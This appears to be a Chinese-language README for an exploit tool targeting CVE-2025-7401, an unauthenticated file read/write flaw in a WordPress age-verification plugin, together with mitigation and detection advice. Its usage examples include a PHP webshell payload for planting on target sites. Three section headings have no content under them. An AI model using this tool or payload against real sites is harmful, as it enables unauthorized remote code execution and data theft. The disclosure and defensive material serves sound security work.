CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - 未认证任意文件读取与写入

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — 未认证任意文件读取与写入

📝 描述

“Premium Age Verification / Restriction for WordPress”插件在 remote_tunnel.php 中包含一个保护不足的远程支持端点。在包括 3.0.2 在内的受影响版本中，该端点可被滥用，实现未认证的任意文件读取与写入。成功利用可能导致敏感信息泄露，甚至允许远程代码执行。

• CVE: CVE-2025-7401
• CVSS: 9.8（严重）

⚙️ 脚本概述

• 脚本名称：CVE-2025-7401.py
• 用途：面向已授权安全专业人员的测试工具，用于验证受影响插件端点中的文件写入行为。该脚本会规范化目标地址，对用户提供的 PHP 代码片段进行编码，向易受攻击的端点发送 POST 请求以尝试写入文件，并可选择性地验证可通过 Web 访问的文件路径。

▶️ 快速使用示例

# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 命令行选项

📋 详细脚本行为（分步说明）

📌 预期输出及其含义

🛡️ 缓解措施与建议

• 立即将插件升级到厂商提供的已修补版本。
• 通过身份验证和适当的授权检查来限制对远程支持功能的访问。
• 在服务端对所有用户提供的文件路径和文件内容进行清理和验证。
• 应用严格的文件系统权限，防止 Web 用户在网络根目录中创建可执行文件。
• 部署 WAF 规则，检测并拦截发往 remote_tunnel.php 的可疑请求。

🔎 检测与取证

• 检查 Web 服务器日志中发送到 /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php 的 POST 请求，重点关注参数：action=save_file、file、file_content。
• 在插件目录中搜索意外出现的文件，例如 remote_init.php。
• 在 POST 请求体中查找 Base64 编码的载荷。
• 将文件变更的时间戳与可疑请求进行关联分析。

🤝 负责任的披露

如果您在第三方基础设施上发现此漏洞：

• 请勿利用或更改生产系统。
• 请私下、安全地联系网站所有者或插件厂商。
• 向厂商提供可复现的步骤，并在任何公开披露之前给予合理的修复时间。

⚖️ 法律与安全声明

在许多司法管辖区，未经授权使用漏洞测试工具属于违法行为。本仓库和脚本仅用于防御性研究、授权测试和协调式漏洞披露。在测试不属于您的系统之前，请务必获得明确的书面许可。

❗ 免责声明

作者和贡献者不对信息或工具的滥用承担任何责任。请仅在法律和道德允许的范围内使用本材料。

作者：Nxploited ( Khaled Alenazi )